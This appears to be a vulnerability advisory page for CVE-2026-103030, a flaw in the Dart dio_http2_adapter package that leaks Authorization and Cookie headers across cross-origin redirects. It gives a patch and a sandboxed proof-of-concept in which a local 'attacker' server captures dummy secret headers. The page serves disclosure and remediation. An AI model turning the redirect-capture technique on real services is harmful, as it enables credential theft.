Dio: Cross-origin redirect leaks sensitive request headers in `dio_http2_adapter`
CVE-2026-103030 · GHSA-cr65-55v9-xhvv · published 15 Oct 2026
How serious is it
- Severity: high, CVSS score 7.5 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-103030?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
dio_http2_adapter(Pub) >= 1.0.0, <= 2.7.1
How to check
- Look for
dio_http2_adapterin your lockfile and compare its version with the range above. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
dio_http2_adapterto 2.8.0 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
### Summary
`dio_http2_adapter` follows HTTP `Location` redirects without stripping sensitive request headers when the redirect target is a different origin. An attacker who can cause any origin server to return a cross-origin `302` redirect receives the victim's `Authorization`, `Cookie`, and `Proxy-Authorization` headers verbatim. This vulnerability has a CVSS v3.1 base score of **7.5 (High)** because `followRedirects` is enabled by default, no authentication is required to exploit it, and the confidentiality impact is high.
### Details
When `Dio` is configured to use `Http2Adapter`, the adapter's internal `_fetch` method constructs HTTP/2 request headers by unconditionally copying all entries from `options.headers`:
```dart
// plugins/http2_adapter/lib/src/http2_adapter.dart:111
headers.addAll(
options.headers.entries.map((entry) {
...
return Header.ascii(entry.key.toLowerCase(), v);
}).toList(),
);
```
On receiving a `3xx` response, the adapter reads the `Location` header and resolves the redirect target URI:
```dart
// plugins/http2_adapter/lib/src/http2_adapter.dart:254-263
final url = responseHeaders.value('location');
final uri = Uri.parse(url ?? '');
final String path = resolveRedirectUri(options.uri, uri).toString();
return _fetch(options.copyWith(path: path, maxRedirects: --options.maxRedirects), ...);
```
`options.copyWith` is called without an explicit `headers` argument; `dio/lib/src/options.dart:629` therefore preserves the full original header map via `headers ?? Map.from(this.headers)`. `resolveRedirectUri` (`http2_adapter.dart:290`) returns an attacker-controlled cross-origin URI without any origin comparison. The combination means that on every redirect, the full set of original sensitive headers — including `Authorization`, `Cookie`, and `Proxy-Authorization` — is forwarded to the new authority with no sanitization.
**Data flow (source → sink):**
1. `dio/lib/src/dio_mixin.dart:383` — public `Dio.request<T>(String path, ...)` entry point.
2. `dio/lib/src/options.dart:331` — base and per-request headers merged into `RequestOptions`.
3. `dio/lib/src/dio_mixin.dart:596` — `httpClientAdapter.fetch(reqOpt, ...)` dispatches to `Http2Adapter`.
4. `plugins/http2_adapter/lib/src/http2_adapter.dart:254` — `Location` header is read from the network response (attacker-controlled source).
5. `plugins/http2_adapter/lib/src/http2_adapter.dart:258` — redirect target URI resolved; cross-origin check absent.
6. `plugins/http2_adapter/lib/src/http2_adapter.dart:260` — `options.copyWith(path: path, ...)` called without `headers` override.
7. `dio/lib/src/options.dart:629` — `copyWith` preserves `Map.from(this.headers)` — all sensitive headers retained.
8. `plugins/http2_adapter/lib/src/http2_adapter.dart:111` — preserved headers emitted verbatim to the cross-origin HTTP/2 request (sink).
**Suggested patch** — strip sensitive headers before following a cross-origin redirect:
```diff
--- a/plugins/http2_adapter/lib/src/http2_adapter.dart
+++ b/plugins/http2_adapter/lib/src/http2_adapter.dart
+ static const _sensitiveRedirectHeaders = {
+ 'authorization',
+ 'cookie',
+ 'proxy-authorization',
+ };
+
- final String path = resolveRedirectUri(options.uri, uri).toString();
+ final redirectUri = resolveRedirectUri(options.uri, uri);
+ final redirectOptions = options.copyWith(
+ path: redirectUri.toString(),
+ maxRedirects: --options.maxRedirects,
+ );
+ if (!_sameOrigin(options.uri, redirectUri)) {
+ redirectOptions.headers.removeWhere(
+ (name, _) => _sensitiveRedirectHeaders.contains(name.toLowerCase()),
+ );
+ }
return _fetch(
- options.copyWith(path: path, maxRedirects: --options.maxRedirects),
+ redirectOptions,
list != null ? Stream.fromIterable(list) : null,
cancelFuture,
redirects,
);
+
+ static bool _sameOrigin(Uri a, Uri b) =>
+ a.scheme == b.scheme && a.host == b.host && a.port == b.port;
```
### PoC
The following steps reproduce the vulnerability using two local HTTP/2 cleartext (h2c) servers inside an isolated Docker container (no external network required).
**Prerequisites:**
- Docker installed and accessible.
- Repository checked out at the path used as the build context.
**Build and run:**
```bash
# From the repository root (github_web_81_cfug__dio/)
docker build -f vuln-001/Dockerfile -t dio-vuln-001:poc .
docker run --rm --network none dio-vuln-001:poc
```
**What the container does:**
1. Starts an *origin* h2c server on `127.0.0.1:18081` that immediately returns `302 Location: http://127.0.0.1:18082/capture`.
2. Starts an *attacker* h2c server on `127.0.0.1:18082` that logs every received header.
3. Executes the following Dart exploit:
```dart
final dio = Dio()
..httpClientAdapter = Http2Adapter(ConnectionManager());
await dio.get(
'http://127.0.0.1:18081/start',
options: Options(headers: {
'Authorization': 'Bearer SECRET_TOKEN_12345',
'Cookie': 'sid=SECRET_SESSION_ABC',
'x-secret': 'internal-secret-value',
}),
);
```
**Expected output (confirms vulnerability):**
```
RESULT=VULN_CONFIRMED
LEAKED_HEADER=authorization: Bearer SECRET_TOKEN_12345
LEAKED_COOKIE=sid=SECRET_SESSION_ABC
[ATTACKER] Received headers:
[ATTACKER] authorization: Bearer SECRET_TOKEN_12345
[ATTACKER] cookie: sid=SECRET_SESSION_ABC
[ATTACKER] x-secret: internal-secret-value
```
The attacker server at `127.0.0.1:18082` receives all three sensitive headers, demonstrating that `Http2Adapter` forwards them verbatim across the cross-origin redirect with no stripping.
### Impact
This is a **sensitive information disclosure** vulnerability. Any application that:
1. configures `Dio` with `Http2Adapter`, and
2. sends requests carrying `Authorization`, `Cookie`, or `Proxy-Authorization` headers,
is affected. Because `followRedirects` defaults to `true` and `maxRedirects` defaults to `5`, no additional configuration is ne…
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/cfug/dio/security/advisories/GHSA-cr65-55v9-xhvv
- nvd.nist.gov/vuln/detail/CVE-2026-103030
- github.com/cfug/dio/commit/9d7ac913340084f3b4987b121e076f28d637a81e
- github.com/cfug/dio/releases/tag/http2_adapter_v2.8.0
- github.com/advisories/GHSA-cr65-55v9-xhvv
Merged from GitHub Advisory Database. Last updated 23 Oct 2026. All vulnerabilities · RSS · JSON